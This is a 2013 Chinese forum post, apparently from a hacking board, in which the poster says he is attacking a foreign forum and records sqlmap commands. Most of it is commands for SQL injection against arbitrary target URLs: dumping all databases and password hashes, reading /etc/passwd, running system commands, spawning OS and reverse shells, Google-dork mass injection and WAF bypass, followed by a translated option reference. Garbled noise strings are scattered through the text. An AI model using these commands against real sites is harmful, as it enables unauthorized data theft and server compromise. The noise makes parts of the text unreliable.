找回密码
 立即注册
查看: 3712|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、7 j9 j+ f$ R* ?$ X8 N
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
5 \; I/ }( m4 X0 a. [; O# Nsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名3 t3 J: Q6 `1 U  c+ E1 Z3 s4 `$ Y+ F
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段; v. ?: p) r3 g6 i3 ^( m

$ r0 @5 U9 [; b, Y! U; s; Xsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v6 a4 @" i0 y% W8 X5 d
0 #获取字段内容  f, t3 t* Q/ a, E3 G
' g8 t+ m, W) s+ r0 M) z; X+ [
******************信息获取******************& C0 P0 x9 d, n6 Q
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型. B% ?  ?8 ]3 x2 z, [1 E# |# I9 [
sqlmap -u “http://url/news?id=1″ –users #列数据库用户, @. F4 u: `  ]
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
; n# a7 o0 I7 R2 {# f- C# `sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码" Q( {$ H5 c1 `6 y0 `8 \
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
) N5 G5 ~1 O, ?8 |sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
$ X+ D, }$ X7 }+ G' i1 h–start 1 –stop 20 #列出指定字段,列出20 条4 c! ?3 `; ]( \1 T$ e
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表' P' M) F# A9 @( M, V
sqlmap -u “http://url/news?id=1″ –privileges #查看权限$ E: z/ Y) N. N8 Q( w8 i8 O
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
8 x3 j4 M. o& z+ P3 N; U  Dsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
* M: q5 r: ]( H7 v& Z' |( {sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表- k+ {2 r) b, H* e( F& d/ U
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
# Z/ H% g8 a- a# }. asqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
4 j# V* Z, k' @2 [- ~  csqlmap -u “http://url/news?id=1″-b #获取banner信息- G! U5 m& d, ?& k
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入- ~+ ~5 G3 x: C" ~9 I  v& A5 X
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型' [$ i+ b/ [) L$ [/ o
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入4 U6 T6 D/ x. z# L0 p
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
0 f' h) ~: w5 A, F! H# ksqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令+ I3 c3 Y5 @( B
sqlmap -u “http://url/news?id=1″ –file /etc/passwd$ }" `8 N6 R4 l
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
8 [# J, n; Q( V+ t5 {+ `1 Fsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
! P" D1 B; E# r+ T# O9 w7 zsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表" G& i( g' g+ ]5 m) t
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度) ?+ [0 ?6 p9 b$ s! w0 E) i
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
* N) g( G* j  [1 Z***********高级用法*************
6 [8 O$ X, T4 L3 b% ]2 g, o-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入. ]; S4 w% A, t) o
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问) b4 Y' M" q5 i0 i% B
–technique   测试指定注入类型\使用的技术
6 s0 Q. v* R4 e8 L. R不加参数默认测试所有注入技术
: l( v' R+ {* @8 j•     B: 基于布尔的SQL 盲注
- G& I- d% \+ }8 {' m/ ^•     E: 基于显错sql 注入
& y5 }6 C# ~1 l! a8 ]* h% R•     U: 基于UNION 注入3 @/ P% Y( S, b, r
•     S: 叠层sql 注入
/ U9 W: x( c( i2 r- B•     T: 基于时间盲注
: J' Q8 ^% m1 \% `- v6 m–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
2 X' _( p5 U6 @7 `; C4 x–tamper 插件所在目录
' L0 `* w2 i1 ]9 o* M; k  I\sqlmap-dev\tamper
' s. l# p; N; ]0 A7 i' Isqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能& M" X; Z+ R( K2 \4 d# ^5 U
level 执行测试等级 攻击实例:# i- `$ @. S" K( W& ]
Sqlmap -u “http://url/news?id=1&Submit=Submit”
! Y/ F4 u. T% a, x–cookie=”PHPSESSID=41aa833e6d0d: J1 p$ T# C- ^; w2 j8 g. M1 x/ g/ }
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user. J+ }% O0 \9 C! H4 y/ `
–password# g! Q' {) e+ v6 D0 Y. j7 t
参考文档:http://sqlmap.sourceforge.net/doc/README.html
, c( H  i% m6 a1 Q% O. n***********安装最新版本*************+ Y, d- M; b, o! I  Q
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版2 z; t9 S, a. d6 f7 p% ^
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev& [/ I* i9 I8 T
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件3 s* I  V  ?1 C6 ?0 X
sudo vim /home/当前用户/.bashrc9 B9 y5 [: N# S$ i+ `
#任意位置加上:, }" u# h. m, [7 T. T
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效, Q, P% a2 Z+ i" o
如果想对所有用户有效 可设置全局 编辑下面的文件+ [6 z, h8 d( c; K' O/ L- V
vim /etc/profile! ^" I  Y( X7 d- m) S
同样加上:2 o" G0 p1 J% z
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效( b# _5 C( ?% I. G$ O) A
******************windows 7 (x64) sqlmap install (SVN)************
# I) P4 b" {3 h2 V/ T2 ~http://www.python.org/getit/ 安装python" a8 i7 [+ y6 e9 K
http://www.sliksvn.com/en/download 安装windows svn client2 \% J" ~# a3 M0 ~8 @0 |- G7 q- ?, A9 B
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
. O. o7 n4 N7 s+ ^+ ~/ `安装sqlmap( [9 L/ {7 u% ~- o1 ]/ T
*修改环境变量
; a9 v, ], h; O: p–version             显示程序的版本号并退出
  x0 N2 u, x# O+ @& Y3 ~-h, –help            显示此帮助消息并退出9 E& e( S0 r# g. D) r% I/ H, F! }' |
-v VERBOSE            详细级别:0-6(默认为1)
$ m# m! M- q2 f! PTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
9 B! W0 T" W2 d$ A/ U+ ?$ H8 {-d DIRECT           直接连接到数据库。6 [( e5 v, V! m. c) }# `' j  }
-u URL, –url=URL   目标URL。# ?: e7 i' b7 g9 ?' O3 x9 n( T
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。/ c* M% w* ~% M% g. m
-r REQUESTFILE      从一个文件中载入HTTP 请求。
' B8 H; B! z( x' N7 g. t' W/ u-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
$ h+ j1 V8 y3 B3 ~9 [$ X  B0 }0 Y-c CONFIGFILE       从INI 配置文件中加载选项。% F5 X- @) ?" \: I% R
Request(请求)::
9 P/ M+ u/ q7 H这些选项可以用来指定如何连接到目标URL。
# y' N" d- k+ X+ e, o6 L–data=DATA         通过POST 发送的数据字符串
6 ?. j; Y1 B  o; ^7 g9 I–cookie=COOKIE     HTTP Cookie 头5 W! q6 ?+ M) w: R% l$ G: L
–cookie-urlencode  URL 编码生成的cookie 注入, i' G0 x# ]5 f2 F1 b4 m
–drop-set-cookie   忽略响应的Set –Cookie 头信息- ~5 Z4 i6 S+ r# d
4 O$ N! g4 _' T1 N3 B; x# N
–user-agent=AGENT  指定  HTTP User –Agent 头
; Z+ ]* n- G# H/ Y6 m  X( v3 Q; Q( t  s–random-agent      使用随机选定的HTTP User –Agent 头3 d. n$ ?. `  z4 h$ T! F( N4 U
–referer=REFERER   指定  HTTP Referer 头( b. `0 W. e: N
–headers=HEADERS   换行分开,加入其他的HTTP 头# i  L" ?& E! C/ ~
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)" [3 x2 T0 X, r. ^
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)* k, o3 P8 y& @5 `+ K  j& s* Y
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
. m9 O$ L4 V8 H–proxy=PROXY       使用HTTP 代理连接到目标URL
) j1 J# d! h, r' e, w& P6 ^# j–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)% n0 z. P$ r# e. T0 l
–ignore-proxy      忽略系统默认的HTTP 代理
# a$ s( @! g- t' l–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒, I7 T, a: h8 @  n6 @  _* N& j" ?5 `% s
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒). f. @3 l" C$ b9 v7 V, Z: B9 }
–retries=RETRIES   连接超时后重新连接的时间(默认3)0 B( G/ z$ w0 s4 K
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
; E  i# Z/ ~) ^; U–safe-url=SAFURL   在测试过程中经常访问的url 地址/ S6 A0 E9 U& \. J' m) y: ?
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
9 r% R5 i1 }3 B- _) c& \4 w$ C$ IOptimization(优化): 这些选项可用于优化SqlMap 的性能。( \7 n5 F3 t4 h- C' f# H1 `
-o                  开启所有优化开关  F8 W/ }% K! }" L  _: F
–predict-output    预测常见的查询输出* y9 w3 ]6 e$ [3 U3 x: u
–keep-alive        使用持久的HTTP(S)连接6 R. b( t, ~1 |0 R+ W) L6 H
–null-connection   从没有实际的HTTP 响应体中检索页面长度
( q+ d& D% V& Y* \& I4 C–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)* F: d' H6 ]& C& {' U
Injection(注入):
# p" S. M: y+ p  z; A( K9 {6 f这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。- J- W- T0 m! K1 }+ ~2 t
-p TESTPARAMETER    可测试的参数(S)
* z. r: |- J6 D# B$ ^7 l–dbms=DBMS         强制后端的DBMS 为此值
6 g1 F% h- C8 s" W5 f: e–os=OS             强制后端的DBMS 操作系统为这个值
$ M! _# `+ j* X6 ~  \; n–prefix=PREFIX     注入payload 字符串前缀
+ B  m! }  N% ~–suffix=SUFFIX     注入 payload 字符串后缀
4 ^' |9 E6 A2 C7 S/ ~. o/ C–tamper=TAMPER     使用给定的脚本(S)篡改注入数据5 @" @) y' j+ C" `9 |0 @. f& _: j& f
Detection(检测):" C9 [3 t8 c4 z
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。1 u, P6 I4 ?& c5 v4 _* O: J
–level=LEVEL       执行测试的等级(1-5,默认为1)
/ `1 h1 z- {& \0 I0 d; l, o–risk=RISK         执行测试的风险(0-3,默认为1)4 ~; I7 T0 z4 `) i" _
–string=STRING     查询时有效时在页面匹配字符串6 z7 r: _) R  [' u! D
–regexp=REGEXP     查询时有效时在页面匹配正则表达式- S! ?* m) a( N5 r. l9 r& u
–text-only         仅基于在文本内容比较网页1 F5 e! K. @8 f/ S. i' L/ i! z5 v
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。, J* p6 A3 m8 d# c# v
–technique=TECH    SQL 注入技术测试(默认BEUST)4 c- i  P- |7 W9 d; K/ \4 D& z
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)6 |3 y6 ^7 R( s
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
" |% z  r  W4 D3 u; m  ^/ \–union-char=UCHAR  用于暴力猜解列数的字符3 j1 I- i& b: d: [
Fingerprint(指纹):
5 P! c: }) q; l3 R5 m! }. a-f, –fingerprint     执行检查广泛的DBMS 版本指纹/ `, b+ y& U' t3 N/ m+ t0 y
Enumeration(枚举):, M( V- z; t# L3 E" R8 S
1 C; c' C+ W/ U0 Q" X5 m7 `
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
, |! ~" k, a4 I3 H. S7 W) ^7 l: s-b, –banner        检索数据库管理系统的标识+ w0 X# m, {& }: q+ k) t- M
–current-user      检索数据库管理系统当前用户  P1 l0 Z4 g4 ]5 R9 i
–current-db        检索数据库管理系统当前数据库4 G2 `3 `8 {3 P) t1 c5 z
–is-dba            检测DBMS 当前用户是否DBA
/ Y+ r+ f7 e5 M: K–users             枚举数据库管理系统用户
  S& ]' c$ Q: o2 D1 h–passwords         枚举数据库管理系统用户密码哈希
3 o) }9 h- B9 p# G4 r& J. d5 x–privileges        枚举数据库管理系统用户的权限
) q3 Z- [4 Z8 N, _; k–roles             枚举数据库管理系统用户的角色1 _7 d: z. t1 ]& ^
–dbs               枚举数据库管理系统数据库
( N/ w% P9 r4 _9 `: c1 E( G–tables            枚举的DBMS 数据库中的表
  g' O! E" P. N" X8 ^–columns           枚举DBMS 数据库表列
& V) T/ J$ e+ I" ?8 R–dump              转储数据库管理系统的数据库中的表项
, c% U; ]! t1 y6 C7 X( Z–dump-all          转储所有的DBMS 数据库表中的条目
7 h2 s5 ]( U/ _4 b, ~* B+ d. k–search            搜索列(S),表(S)和/或数据库名称(S)9 p- T8 O: w9 c  f3 l5 p& A, B3 o
-D DB               要进行枚举的数据库名
' w% b: i4 k: A3 }-T TBL              要进行枚举的数据库表
3 S4 Q, K3 Z1 j( j& X" h% v, f-C COL              要进行枚举的数据库列; J9 o+ m8 s' Z7 a1 ~6 L' A
-U USER             用来进行枚举的数据库用户/ G/ h& ^' }* C) h0 h( M
–exclude-sysdbs    枚举表时排除系统数据库
5 H# B7 j! H, U% c" {–start=LIMITSTART  第一个查询输出进入检索
" V' A+ V: x  d, I–stop=LIMITSTOP    最后查询的输出进入检索; d( {  D5 o& n1 ]
–first=FIRSTCHAR   第一个查询输出字的字符检索
5 l% ^7 P7 D- R/ K–last=LASTCHAR     最后查询的输出字字符检索
" ~% U+ {8 i8 c–sql-query=QUERY   要执行的SQL 语句6 L  n/ x% T+ G) `& A
–sql-shell         提示交互式SQL 的shell
3 d: y' C1 m, @0 W  g  TBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
6 m* K+ j- q6 A; [# X: B1 b–common-tables     检查存在共同表0 _: \. H8 e4 z: @. c4 ]
–common-columns    检查存在共同列$ o5 [# B2 C- W- J/ q/ o
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
8 h- W8 e- @7 ~3 t! W–udf-inject        注入用户自定义函数; X+ P3 [1 t, S# e' y' D
–shared-lib=SHLIB  共享库的本地路径
5 C+ I! e1 S, j6 D8 R( u# Y: k* QFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
$ c6 U. |( s, U! u2 R–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
/ C' Z0 n8 {* ^+ Z4 p# _8 V–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
& Z! u* n. @1 T0 G–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
3 ^3 U# W: P, ~) {Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
9 ^% E% T, A& t) k- m6 q9 J0 p–os-cmd=OSCMD      执行操作系统命令
! d; `# r% g! P4 V2 n–os-shell          交互式的操作系统的shell8 U& l. M# w2 |8 q
–os-pwn            获取一个OOB shell,meterpreter 或VNC* B5 X- v/ P$ Y* h
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC, q& k8 h( F) V0 w4 k1 i) g
–os-bof            存储过程缓冲区溢出利用2 T: W# `9 Z" a- k7 W! h7 {/ P
–priv-esc          数据库进程用户权限提升
9 J) C4 j  B' p& r. Y; s9 V5 l, x–msf-path=MSFPATH  Metasploit Framework 本地的安装路径3 |( A9 U; ^' X9 G" }
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
7 `" u$ \) `5 {' c; e2 [
$ Y* ?' B. o3 @Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
9 {9 t7 e7 {' J$ S  ]: Q–reg-read          读一个Windows 注册表项值: i4 w' B, h& x3 ?+ |" l
–reg-add           写一个Windows 注册表项值数据  h, w# L7 V* l
–reg-del           删除Windows 注册表键值
  p! q: M5 d8 F8 M) z+ Z' q/ c–reg-key=REGKEY    Windows 注册表键* l2 f, w! @, q  e1 \1 O- F0 L
–reg-value=REGVAL  Windows 注册表项值2 e; ]5 c9 i7 |9 W: g
–reg-data=REGDATA  Windows 注册表键值数据6 N' X( C7 P* S
–reg-type=REGTYPE  Windows 注册表项值类型
6 h$ l; U5 Y: h' p$ lGeneral(一般): 这些选项可以用来设置一些一般的工作参数。) K1 m. r" b% j8 M' i6 t/ `
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中0 j$ l- o& Y9 Y5 P
-s SESSIONFILE      保存和恢复检索会话文件的所有数据# [; ]) h7 a3 i8 E
–flush-session     刷新当前目标的会话文件5 \+ [+ [9 P0 a* G- _0 F1 n( F
–fresh-queries     忽略在会话文件中存储的查询结果
5 N9 r0 B6 m3 N6 Z–eta               显示每个输出的预计到达时间
$ C# G! I2 y) S% A$ L# r+ l–update            更新SqlMap8 S/ X  x+ O$ L
–save              file 保存选项到INI 配置文件
6 `: D$ E- q* [2 K  S% e; z–batch             从不询问用户输入,使用所有默认配置。" Q0 y5 u! @# ~* f) N, G- ?+ K
Miscellaneous(杂项):
$ U. k; A" F1 G6 J1 d3 `9 `" P–beep              发现SQL 注入时提醒. {. l( A+ A' h7 y
–check-payload     IDS 对注入payloads 的检测测试
* Y* \; s( g8 B9 U8 h1 L1 T3 z+ Y* C4 A–cleanup           SqlMap 具体的UDF 和表清理DBMS- F1 f! S* Q: p, _/ u
–forms             对目标URL 的解析和测试形式
/ V! j4 [! R9 g9 v–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
0 U$ z% x0 M! F+ I$ [–page-rank         Google dork 结果显示网页排名(PR)
# E) A: b( |1 R  @: o3 z0 ~–parse-errors      从响应页面解析数据库管理系统的错误消息  ~4 K1 j* e8 G# ?6 m+ \
–replicate         复制转储的数据到一个sqlite3 数据库
  i! @- u# T; r3 d% U2 H3 M& P. v1 p6 H–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
1 z! d- Z% W1 G" T# D' x* [–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表